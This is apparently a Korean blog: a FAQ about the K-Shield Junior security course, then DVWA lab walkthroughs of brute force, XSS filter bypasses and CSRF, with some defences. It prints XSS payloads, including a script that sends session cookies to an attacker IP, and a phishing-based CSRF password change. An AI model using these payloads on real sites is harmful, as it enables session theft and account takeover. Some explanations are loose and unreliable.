'분류 전체보기'에 해당되는 글 212건

요즘 케이쉴드주니어 모집 설명회 및 4기 모집이 한창입니다. 현재 저는 케이쉴드주니어 기술팀 팀장을 맡고 있습니다. 케이쉴드주니어 설명회 및 지인들에게 받았던 질문들에 대한 답변을 써봅니다.

1. 선발 기준, 우대요건이 있는지 궁금합니다.
-> 과정별로 다르지만 보안 동아리 경험, 관련학과, 자격증(정보처리기사, 정보보안기사), 관련 프로젝트 경험 등이 선발 우대 요건으로 들어갑니다.

2. BOB 수료생은 지원 가능한가요?
-> 지원 가능하며 BOB, 케이쉴드주니어 2개 동시 지원은 불가합니다.

3. 3학년은 지원이 가능한가요?
-> 시간이 허락된다면 지원이 가능하지만 당장 취업할 수 있는 인원을 좀 더 우선시 고려해서 선발합니다. 하지만 절대적인 것은 아니며 1기에서도 재학중인 3학년 학생들도 있었습니다.


4. 면접 때 어떤걸 질문하나요?
-> 이 질문은 기밀 사항이라 자세히 알려드리긴 어렵지만 기초 보안 지식부터 전산에 관련된 지식까지 질문 범위는 매우 다양합니다. 질문 난이도도 초급~고급까지 다양하며 학부때 해봤던 프로젝트, 개인 프로젝트 등에 대해서도 질문을 받을 수 있습니다.

5. 숙소는 지원되나요?
-> 아쉽지만 숙소는 지원되지 않지만 수업이 끝나고도 계속 공부하고 싶다면 강의실 제공은 합니다.

6. 필기 시험 난이도는 어느정도 되요?
-> 정보보안기사 정도의 난이도로 출제되고 있으며 1기 같은 경우는 이보다 좀 더 높은 수준 이었습니다. 이 부분도 케바케이며 학부 때 공부(3,4학년 전공 수준)을 열심히 하셨다면 무난하게 풀 수 있는 난이도입니다.

7. 비전공자도 따라 갈 수 있어요?
-> 가능합니다. 저도 전자과 출신 비전공자였고 기본기가 있다면 충분히 따라가실 수 있습니다. 다만 전공자 분들에 비해서 더 많은 노력을 하고 열정을 불태워야 살아남으실 수 있습니다.

8. 프로젝트는 어떤걸 해보면 좋나요?
-> 이 질문도 정확한 답변은 어려우나 보안에 관련된 프로젝트면 많은 가산점이 있습니다. 예를 들어 가상 웹 사이트를 진단한 프로젝트, 악성코드를 분석해본 프로젝트 등 이런 경험이 있다면 면접때도 유리할 뿐더러 교육 받을 때도 수월하게 따라가실 수 있을겁니다. 또한 보안에 대한 열정도 많이 보기 때문에 본인의 장점을 잘 어필하는게 중요합니다.

9. 교육 과정에서 이론/실기 비중은 어느정도 되요?
-> 이론 20%, 실습 80% 정도 됩니다. 케이쉴드주니어는 기업이 원하는 실무 교육을 하는 곳이기 때문에 실습 비중이 압도적으로 높습니다. 그렇기 때문에 실습을 잘하는 교육생이 유리합니다.

10. 수료하는 교육생은 얼마나 되요?
-> 선발인원은 120명이지만 출석 저조, 개인 사유 등을 이유로 중도 포기하는 경우도 있어 실제로 수료하는 교육생은 매 기수마다 100명 정도 됩니다.

11. 악성코드 분석으로 지원하고 싶은데 교육 수준이 어느정도 되나요?
-> 본인이 하기 나름입니다. 케이쉴드주니어는 악성코드 분석 교육을 시작하면 중급을 목표로 가르칩니다. 하지만 고급 분석가로 거듭나기 위해선 본인이 많이 노력해야 합니다. 여기에 좋은 멘토분들도 많기 때문에 본인이 하기 따라서 중급이 될 수 있고 고급이 될 수 있습니다.

12. 취업은 잘하는 편인가요?
-> 한국에서 가장 이슈되고 고민거리가 많은게 취업이죠. 케이쉴드주니어에선 정기적으로 연락오는 기업들이 많고 현재도 많은 회사에서 케이쉴드주니어 교육생을 채용해가기 위해 인력 요청이 계속 오고 있습니다. 이 외에도 본인이 지원해서 취업을 하는 경우도 있는데 케이쉴드주니어에서 교육 받은 것, 프로젝트 경험 등을 잘 어필해서 좋은 결과를 가져오는 교육생들도 많이 봤습니다. 모두가 알고 있는 보안에서 알아주는 회사들부터 컨설팅을 위주로 하는 회사, 분석, 개발을 하는 회사 등 많은 회사가 있습니다. 실제로 케이쉴드주니어 교육생들은 대체적으로 취업을 잘했고 원하는 회사, 포지션에 가서 열심히 일하고 있습니다. 현재도 동기들과 꾸준히 잘 만나고 많은 정보들을 주고 받고 있구요.

13. 보안사고분석대응 과정에서 프로그래밍 지식 수준은 어느정도 되야 하나요?
-> 많이 알고 잘할수록 유리합니다. html, javascript, python 언어 정도 구사하고 읽을 줄 알면 문제 없습니다.

14. 대회도 많이 나가나요?
-> 네. 많이 나갑니다. 실제로 나가서 수상한 교육생들도 있고 최근엔 K-사이버 시큐리티 챌린지에 나가서 최우수상을 차지했습니다. 이 외에도 해킹방어대회, 보안 개발 경진대회 등 많은 대회를 나가 좋은 성적을 거두고 있습니다.

15. 꼭 기술이 좋아야 선발 되나요?
-> 그렇진 않습니다. 기술은 여기 와서도 충분히 가르쳐주시는 멘토님들도 많고 잘하는 교육생 사이에서도 배우고 성장해나갈 수 있습니다. 다만 전산 기초, 보안 기초 지식 정도는 알고 오시는게 좋고, 요즘은 기술보다는 인성을 중요시하는 추세로 가고 있습니다.(이건 채용을 희망하는 회사들도 말했습니다) 나중에 과정 수료 후 기술팀 지원을 희망하실 수 있는데 저희팀도 기술보다는 인성을 중요시 봅니다.

요즘 오픈챗방, 카페 등 케이쉴드주니어에 많은 관심과 궁금증을 가지는 분도 많은 것 같아 적어봤습니다. 저도 케이쉴드주니어에서 공부한 후 취업한 경우며 교육 받는 동안 만큼은 모든 열정을 불태워서 공부했던 기억이 납니다. 케이쉴드주니어를 준비하시는 분들 모두 좋은 결과가 있길 바라겠습니다.

1. 브루트 포스 공격 대응 방안

[그림 1-1] 로그인 페이지

브루트 포스 방어가 되어 있는 로그인 페이지는 오류가 3회 이상 발생 시엔 15분 동안 로그인을 차단한다. 3회에 15분을 기다려야 하기 때문에 브루트 포스 공격은 사실상 불가능하다.

[그림 1-2] 소스 코드 - 1

소스코드를 보면 패스워드는 md5 형태로 해서 처리하고 있으며 username 변수에 대해선  mysql_real_escape_string() 함수를 처리한다. 또한 만약 로그인에 실패했을 때 sleep 함수를 사용해 응답 속도를 늦춘다. 만약 일정한 응답 속도로 설정하면 공격자 입장에선 패스워드가 틀린 것이라고 생각하고 다시 공격을 시도 할 수 있게 된다. 하지만 [그림 1-2] 소스코드에선 랜덤하게 응답 속도를 설정해서 공격자가 입력한 패스워드가 일치하는지 불일치하는지 판단하기 어려워져 브루트 포스 공격에 부담을 줄 수 있다.

[그림 1-3] 소스 코드 - 2

타임 아웃을 설정해놓는 소스코드다. 만약 3회 이상 로그인이 실패하면 자동으로 15분동안 로그인이 금지된다. 하지만 정상적인 사용자도 3회 이상 패스워드가 틀리면 15분 동안 접속이 차단된다. 사용자의 ID를 차단하기 보단 접속자 IP를 차단하는게 가용성을 높일 수 있지만 접속자 IP 주소를 서버에서 관리를 해야 하기 때문에 서버의 부담이 늘어날 수 있는 단점이 있다.

1. 브루트 포스 공격 개요

[그림 1-1] 브루트 포스 공격

[출저: 화이트헤커를 위한 웹 해킹의 기술]

브루트 포스 공격이란 특정 정보(사용자의 패스워드)를 알아내는 공격이다. 만약 패스워드가 일치하지 않아도 계속 바꿔가며 공격할 수 있고 시간이 오래 걸리지만 언젠가는 계정 정보가 일치해 로그인이 가능하게 된다. 패스워드가 너무 쉽거나 추측 가능하게 설정하면 브루트 포스 공격에 의해 너무 쉽게 노출될 수 있다. 하지만 특수문자를 섞어서 설정하면 공격에 시간이 상당히 많이 소요되기 때문에 패스워드가 쉽게 노출될 수 없게 된다. 브루트 포스 공격 방지를 위해 페이지 내에 방어도 중요하지만 사용자의 비밀번호 설정 방식도 브루트 포스 공격을 예방하는 방법 중 하나가 될 수 있다.

2. 브루트 포스 공격 실습

(1) 자동 브루트 포스 공격

[그림 2-1] Intruder

브루트 포스 탭에서 계정 정보를 입력 한 후 프록시를 잡는다. 계정은 admin, 1234임을 알 수 있고 현재 정보를 Intruder 탭으로 보낸다.

[그림 2-2] Positions

페이로드 포지션에서 현재 패스워드 값을 알아내는게 목적이기 때문에 패스워드 부분에만 $를 표시한다.

[그림 2-2] payloads

페이로드 설정에서 Payload type을 Brute Forcer로 선택한다. Payload Options에서 Character set이 자동 지정되는데 영문자부터 숫자 9까지 지정된다. 이 부분에 특수문자들을 추가하면 Payload count는 늘어나고 Max length 숫자를 높이면 unknown이 표시된다. 그만큼 브루트 포스 공격을 하는데 있어서 많은 시간이 소요된다는 의미다.

[그림 2-3] 브루트 포스 공격

브루트 포스 공격 화면이다. 문자를 하나씩 넣어가며 자동화 공격을 시도하고 있다. 만약   응답 요청 길이가 다른 숫자 값으로 나온다면 그 문자열이 사용자 계정의 비밀번호다. 하지만 Brute forcer를 이용한 공격은 많은 시간이 걸리기 때문에 비효율적인 방법의 브루트포스 공격이 될 수 있다.

(2) Dictionary 브루트 포스 공격

[그림 2-4] Intruder

브루트 포스 탭에서 계정 정보를 입력 한 후 프록시를 잡는다. 계정은 admin, 1234임을 알 수 있고 현재 정보를 Intruder 탭으로 보낸다.

[그림 2-5] Positions

페이로드 포지션에서 현재 패스워드 값을 알아내는게 목적이기 때문에 패스워드 부분에만 $를 표시한다.

[그림 2-6] payloads

Payload type을 Simple list로 선택한 후 Payload Options에서 사용자들이 가장 많이 사용하는 패스워드를 담은 txt 파일을 만든 후 업로드 한 후 Start Attack 버튼을 누른다.

[그림 2-7] 브루트 포스 공격

브루트 포스 공격 시도 결과 응답 요청 길이가 다른 것이 있다. 2번 응답 요청 길이는 5293이지만 1번 응답 요청 길이는 5358이다. 이 때 사용자 계정 비밀번호는 1234라는 것을 알 수 있다. 패스워드가 올바르지 않은 경우면 로그인 실패 페이지가 응답되지만 패스워드가 올바른 경우면 로그인 성공 페이지가 출력되게 된다. 즉, 1번 요청은 로그인에 성공한 페이지가 응답된 것이라고 생각할 수 있다.

[그림 2-8] 소스 코드

소스 코드를 보면 비밀번호는 md5로 해쉬화 해서 취약점은 발생하지 않는다. 하지만 username은 별다른 조치 없이 SQL 문에 그대로 입력 됨을 볼 수 있다. 하지만 쿼리 구문 아래 코드에서 SQL 결과 값이 1개일 때만 로그인 된다는 것을 알 수 있다. 이 경우에 사용자 비밀번호를 알지 못해도 SQL 인젝션 취약점이 발생할 수 있음을 추측할 수 있다.

1. Reflected XSS 공격 Medium 단계 실습

[그림 1-1] 공격 스크립트 삽입

Reflected XSS 공격을 시도 하기 위해 공격 스크립트를 삽입 후 요청을 보낸다.

[그림 1-2] 실행 결과

공격 스크립트 삽입 후 실행 결과 Low 레벨과는 다르게 XSS 공격 경고창이 나타나지 않는다는 것을 볼 수 있다.

[그림 1-3] 소스 코드

Medium 레벨의 소스 코드를 보면 str_replace 함수로 <script> 문자열을 제거한다. 폼에 XSS 공격 스크립트를 삽입하고 요청을 보낼 때 <script> 문자열을 제거한 후 응답값이 오는 것이다. str_replace 함수는 대소문자를 구분하는 반면 HTML은 대소문자를 구분하지 않는다.

[그림 1-4] 공격 스크립트 삽입

HTML이 대소문자를 구분하지 않는다는 취약점을 이용해 <SCRIPT>alert(1)</SCRIPT> 공격 스크립트를 입력한 후 요청을 보낸다.

[그림 1-5] 공격 성공

<SCRIPT>alert(1)</SCRIPT> 공격 스크립트를 입력한 후 요청을 보낸 결과 우회되서 공격이 성공했다는 걸 볼 수 있다. XSS 공격을 방어하기 위해선 HTML의 대소문자 구분 함수 구현도 필요하다.

2. Reflected XSS 공격 High 단계 실습

[그림 2-1] 공격 스크립트 삽입

Reflected XSS 공격을 시도 하기 위해 공격 스크립트를 삽입 후 요청을 보낸다.

[그림 2-2] 실행 결과

공격 스크립트 삽입 후 실행 결과 XSS 공격 경고창이 나타나지 않는다는 것을 볼 수 있다. 결과 값만 봐도 문자열이 필터링 되었음을 볼 수 있다.

[그림 2-3] 소스 코드

PHP의 preg_replace 함수를 이용해 <*s*c*r*i*p*t 규칙에 해당하는 문자열을 대소문자 구분하지 않고 제거한다. "<script", "<SCRIPT", "<SC\RIPT", "</script", "</SCRIPT", "</SC/**/RIPT" 등의 문자열을 제거하기 때문에 <script>를 이용해 자바스크립트를 삽입할 수 있는 방법은 없다.

[그림 2-4] 공격 스크립트 삽입

<script> 문자열을 쓸 수 없어 <img src=x onerror=alert(document.cookie)>라는 다른 XSS 공격 스크립트를 삽입한다. <img도 XSS 공격 스크립트 구문으로 많이 쓰이는 문자열 중 하나다.

[그림 2-5] 공격 성공

<img src=x onerror=alert(document.cookie)> XSS 공격 스크립트 요청 결과 우회되서 공격이 성공했음을 볼 수 있다. <script> 뿐만 아니라 다른 문자열도 필터링 해줄 수 있는 시큐어코딩이 필요하다.

1. Reflected XSS 공격 개요

리플렉티드 크로스 사이트 스크립팅 취약점은 요청 메시지에 입력된 스크립트 코드가 즉시 응답 메시지를 통해 출력되는 취약점이다. 입력된 스크립트가 마치 반사되는 것처럼 동작하기 때문에 붙은 이름이다.

[그림 1-1] Reflected XSS 공격 과정

[출저 : AhnLab Blog]

공격자는 사용자가 Reflected XSS 공격에 유도될 수 있도록 이메일, 게시판, SNS 등 공격자가 링크를 남길 수 있는 곳이라면 어디든 피싱을 한다. 사용자는 공격자가 걸어 놓은 악성 링크를 클릭하게 되면 공격 스크립트 코드가 삽입된 사이트로 이동되고 입력된 스크립트가 반사되어 그대로 웹 사이트에 출력된다. 웹 페이지를 읽은 웹 브라우저는 자동으로 스크립트를 실행하고 세션 쿠키를 공격자에게 전달한다. 세션 쿠키를 전달받은 공격자는 사용자의 권한으로 로그인할 수 있게 된다.

2. Reflected XSS 공격 실습

[그림 1-2] XSS 공격 구문

XSS 공격 구문인 <script>alert(1)</script>를 삽입한 후 Submit을 클릭해 웹 브라우저에 요청을 보낸다.

[그림 1-3] Reflected XSS 공격 실행

웹 브라우저에 요청을 보내면 곧바로 경고창이 실행된다. 이와 같이 스크립트가 응답되서 실행될 때 Reflected XSS 공격 취약점이 존재한다고 판단할 수 있다.

[그림 1-4] 쿠키 값 탈취 스크립트

웹 브라우저에 쿠키 값을 탈취할 수 있는 Reflected XSS 공격 구문을 삽입한 후 요청을 보낸다.

[그림 1-5] 쿠키 값 탈취

document.cookie 스크립트 코드로 인해 쿠키 값이 출력된다. PHPSESSID라는 쿠키는 php에서 생성된 세션 쿠키다. Reflected XSS 공격은 주로 세션 쿠키를 알아내기 위해 사용된다.

[그림 1-5] Redirect 스크립트

폼에 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script>를 입력하고 요청을 보낸다. document.location을 이용해 지정한 위치로 리다이렉트 시키는 스크립트다. 이 스크립트가 실행되면 웹 브라우저는 공격자의 호스트로 접속하게 된다.

[그림 1-6] 로그 검색

Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Reflected XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Reflected XSS 공격은 사용자가 눈치 채지 못하게 공격을 해야 하기 때문에 사용자에게 피싱을 어떤식으로 하는지가 가장 중요한 관건이 된다.

1. Stored XSS 공격 개요

Stored XSS 공격은 웹 브라우저에서 스크립트를 실행하는 것은 Reflected XSS 공격과 동일하지만 웹 서버에 스크립트를 저장했다가 실행된다는 차이점이 있다.

[그림 1-1] Stored XSS 공격 과정

공격자는 XSS 공격 스크립트를 웹 사이트 방명록이나 게시판 등에 삽입한다. 삽입 후 다른 사용자들이 방명록이나 게시판 등을 방문해 공격자가 작성한 게시물을 클릭하기를 기다린다. 사용자가 공격자가 작성한 게시물을 실행하면 스크립트 코드가 사용자에게 전달된다. 이 때 웹 브라우저는 스크립트 코드를 실행해서 세션 쿠키가 공격자에게 전달되고 공격자는 세션 쿠키를 사용해 사용자의 권한으로 웹 사이트 접속이 가능해진다. Reflected XSS 공격보다 공격 경로가 다양하기 때문에 더 위험하다고 판단할 수 있다.

2. Stored XSS 공격 실습

[그림 1-1] 개발자 도구

Stored XSS 공격을 시도하기 위해 <script>document.location='http://192.168.171.172/cookie?'+document.cookie</script> 구문을 삽입해야 하는데 글자수 제한에 막힌다. 하지만 개발자 도구에서 maxlength 속성 값을 수정하면 우회가 가능하다. 충분한 글자 확보를 위해 500으로 지정한다.

[그림 1-2] Stored XSS 공격 구문

글자수 제한 수정 후 Stored XSS 공격 구문을 삽입한 후 게시글을 저장한다.

[그림 1-3] 에러 페이지

작성한 게시글을 실행하면 [그림 1-3]과 같은 에러 페이지가 발생하는데 이미 지정해 놓은 공격자의 호스트로 전송된다.

[그림 1-4] 로그 검색

Tail 명령어를 활용해 파일의 내용을 확인한다. 웹 서버로 들어온 요청 정보가 기록되는데 DVWA에서 Stored XSS 공격을 할 때마다 로그 파일에 로그가 계속 기록된다. 앞서 했던 쿠키 값을 탈취하기 위해 실행했던 document.cookie 스크립트와 함께 PHPSESSID 세션 쿠키 값도 모두 기록되어 있다는 것을 확인할 수 있다. Stored XSS 공격은 웹 서버에 저장해 놓은 상태에서 공격이 되기 때문에 공격할 수 있는 경로가 많아 모의해킹 진행 시 신경써야 하는 취약점 중 하나다.

1. CSRF 공격 High 단계 실습

[그림 1-1] 패스워드 변경

CSRF 공격 탭에서 패스워드를 변경한다.

[그림 1-2] 토큰 값 비교

위에 그림은 사용자의 비밀번호 1234고 아래 그림은 공격자의 비밀번호인 hacker다. 두 그림을 비교하면 큰 차이가 없지만 user_token 값이 다르다는 걸 볼 수 있다. user_token값이 일치하지 않게 되면 웹 사이트도 정상적인 사용자로 인식하지 않게 되서 CSRF 공격이 불가능하다.

[그림 1-3] 토큰 변조

공격자가 원하는 패스워드로 요청을 보낸 뒤 토큰 값을 임의로 변조한 후 응답을 보낸다.

[그림 1-4] CSRF 공격 실패

토큰 값을 임의로 변조 후 응답을 보내면 CSRF 공격이 실패했음을 볼 수 있다. 공격자는 정확한 토큰 값을 입력해서 보내야 CSRF 공격에 성공하는데 서버에 요청을 보낼때마다 토큰 값이 랜덤하게 바뀌기 때문에 예측하기 어려워져 공격이 불가능하게 된다.

[그림 1-5] 우회 소스 코드

High 단계의 CSRF 공격을 우회하기 위한 소스코드를 분석한다. 크게 두가지 요청으로 나눌 수 있는데 첫번째 요청은 패스워드를 변경할 때 user_token 값을 가져온다. 두번째 요청에선 첫번째 요청에서 가져온 user_token 값을 분석한 후 CSRFtoken 변수에서 user_token 값을 추출한다. 그 후 추출한 user_token 값과 함께 응답을 보낸다.

[그림 1-6] 게시판 삽입

CSRF 공격을 우회하기 위해 게시판을 활용한다. 우회 파일이 저장되어 있는 웹서버 IP주소와 경로를 입력한 후 게시판에 글을 등록한다.

[그림 1-7] 스크립트 실행

스크립트가 실행되면 [그림 1-7]과 같이 토큰 값이 출력된다. 토큰 값이 출력되면 공격에 성공했을 가능성이 높다.

[그림 1-8] 계정 변경

공격에 성공하고 로그아웃 후 다시 로그인을 시도하면 기존 계정으론 로그인이 되지 않는다. 반면 hacker라는 패스워드를 입력한 후 로그인을 시도하면 로그인이 된다는 것을 볼 수 있다.

2. CSRF 공격 대응 방안

[그림 2-1] CSRF 공격 대응

CSRF 공격 대응 방안으로 기존 패스워드 입력을 요구하는 방법이 있다. 만약 기존 패스워드를 모른다면 패스워드 변경은 불가능하고 CSRF 공격도 전혀 통하지 않게 된다. 이 외에도 클라이언트가 서버에 토큰 값을 요청할 때 랜덤하게 토큰값을 바꿔서 요청하게 만들어 공격자가 토큰 값을 예측할 수 없도록 하는 방법과 Referer 헤더를 확인해 해당 사이트의 URL인지 아닌지 검사해서 CSRF 공격을 막는 방법도 존재한다.

[그림 2-2] 소스 코드

소스코드를 보면 user_token을 검사하는 코드가 존재한다. user_token을 검사한 후  토큰 값이 일치하지 않으면 CSRF 공격이 불가능하다. 또한 로그인 폼도 기존 패스워드, 변경할 패스워드, 변경할 패스워도 재확인 3가지로 구성되어 있어 반드시 기존 패스워드를 알아야 패스워드 변경이 가능하기 때문에 CSRF 공격이 불가능하다. 

** 추가 대응 방안 **

XSS 공격과 CSRF 공격의 근본적인 차이점은 XSS공격은 공격자가 의도한 악성 스크립트가 클라이언트에서 실행되는 반면 CSRF 공격은 악성 스크립트 자체를 웹 서버에 요청해서 공격을 진행한다는 차이가 있다.

-  요청을 할 때 GET 방식보다는 POST 방식을 사용한다.(보안상의 안전 차이)

-  요청메시지의 Referer 헤더를 검사해서 CSRF 공격을 판별한다. Referer는 이전에 접속했던 주소를 알려주는 역할을 하는데 이 헤더를 검사하면 정상적인 요청인지 피싱성 요청인지 구별할 수 있게 된다.

-  입력을 처리하는 폼은 토큰을 사용해서 공격자의 직접적인 URL이 동작하지 않게끔 처리하고 세션 검증 및 2차 인증을 유도해 공격을 방지한다.

-  특정한 사용자를 구분할 수 있는 인수를 적용해서 철저한 검증을 통해 CSRF 공격을 방지한다.

1. CSRF 공격 개요

[그림 1-1] CSRF 공격 시나리오

CSRF 공격의 일반적인 시나리오는 공격자가 피싱 기법을 사용해 사용자에게 이메일을 보내 공격자가 심어놓은 악성 링크를 클릭하게 유도한 후 사용자가 클릭하면 로그인 되어 있는 웹 사이트로 이동되서 어떤 기능을 실행하게 된다. 대표적으론 패스워드 변경, 비밀번호가 설정된 게시판 글 우회 등이 있다. CSRF 공격과 XSS 공격은 비슷해 보일 수 있지만 다르다. 특히 CSRF 공격과 XSS 공격의 결정적인 차이점은 CSRF 공격은 웹 사이트에 로그인이 되어 있어야 공격이 가능하다는 것이다. 쿠키 및 세션을 탈취해야 공격이 가능하기 때문에 웹 사이트에 로그인 됨은 필수 조건으로 들어간다.

2. CSRF 공격 실습

[그림 2-1] 비밀번호 변경

DVWA에 로그인 한 후 CSRF 탭을 클릭하고 패스워드를 변경한다. CSRF 공격은 쿠키 및 세션 값을 이용한 공격이기 때문에 DVWA 로그인이 되어 있어야한다.

[그림 2-2] 프록시

기존 패스워드와 변경할 패스워드 값이 프록시 결과에 나타난다. Low 단계에선 CSRF 공격에 대한 방어 코드가 없기 때문에 user_token 값이 바뀌지 않고 계속 유지된다.

[그림 2-3] 피싱 메일 소스 코드

스크립트 부분에서 poc() 코드를 정의하는데 URL과 파라미터를 똑같이 구성한다. 이 때 패스워드 파라미터는 hacker라는 패스워드 값으로 변경됐는데 CSRF 공격이 성공하면 그 계정은 공격자가 원하는 패스워드인 hacker로 변경된다. 또한 XMLHttpRequest() 함수를 사용한 Ajax 기법을 활용하고 있는데 poc()가 호출될 때마다 새로운 요청을 전송하도록 만들고 withCredentials 속성을 true로 설정해 요청을 전송할 때마다 쿠키를 자동으로 전송하게 한다.

[그림 2-4] csrf.html 업로드

csrf.html 파일을 웹 서버에 업로드한 후 아파치를 재시작한다.

[그림 2-4] 피싱 메일

사용자를 CSRF 공격으로 유도하기 위해 피싱 메일을 발송한다. 링크에는 http://서버 IP/csrf.html을 입력한다.

[그림 2-5] CSRF 공격

사용자가 링크를 클릭하면 공격자가 심어놓은 csrf 공격 페이지로 이동된다. 사용자는 피싱을 당하면 Click! 버튼을 클릭한다.

[그림 2-6] 변조된 패스워드

사용자가 공격자가 심어놓은 URL에 접속해 Click! 버튼을 클릭하는 순간 비밀번호가 변경된다. 로그아웃을 하고 기존 비밀번호로 접속하면 접속이 불가하다. 반면 공격자가 심어놓은 hacker를 입력하고 로그인을 시도하면 접속이 가능함을 확인할 수 있다.

[그림 2-7] 접속 성공

DVWA 계정인 admin, hacker를 입력하고 로그인을 시도하면 접속이 성공함을 볼 수 있다. 공격자가 원하는 비밀번호로 바꿔 접속 되서 사용자의 주민등록번호 등 개인정보를 탈취할 수 있게될 수 있다.

[그림 2-8] 요청 값 비교

왼쪽 Length:439는 공격자가 원하는 패스워드 변경을 요청 할 때, 오른쪽 Length:542는 사용자가 패스워드를 변경했을 때를 나타낸다. 두 그림을 비교했을 때 차이가 없지만 쿠키값이 같다는 걸 볼 수 있다. 쿠키값이 같으면 웹 사이트는 정상적인 사용자로 인지하기 때문에 공격자와 사용자를 구분할 수 없게 된다. CSRF는 쿠키 값을 통해 공격을 하기 때문에 웹 서버에 요청을 할 때마다 쿠키 값을 계속 바꾸는 대응 방안이 필요하다.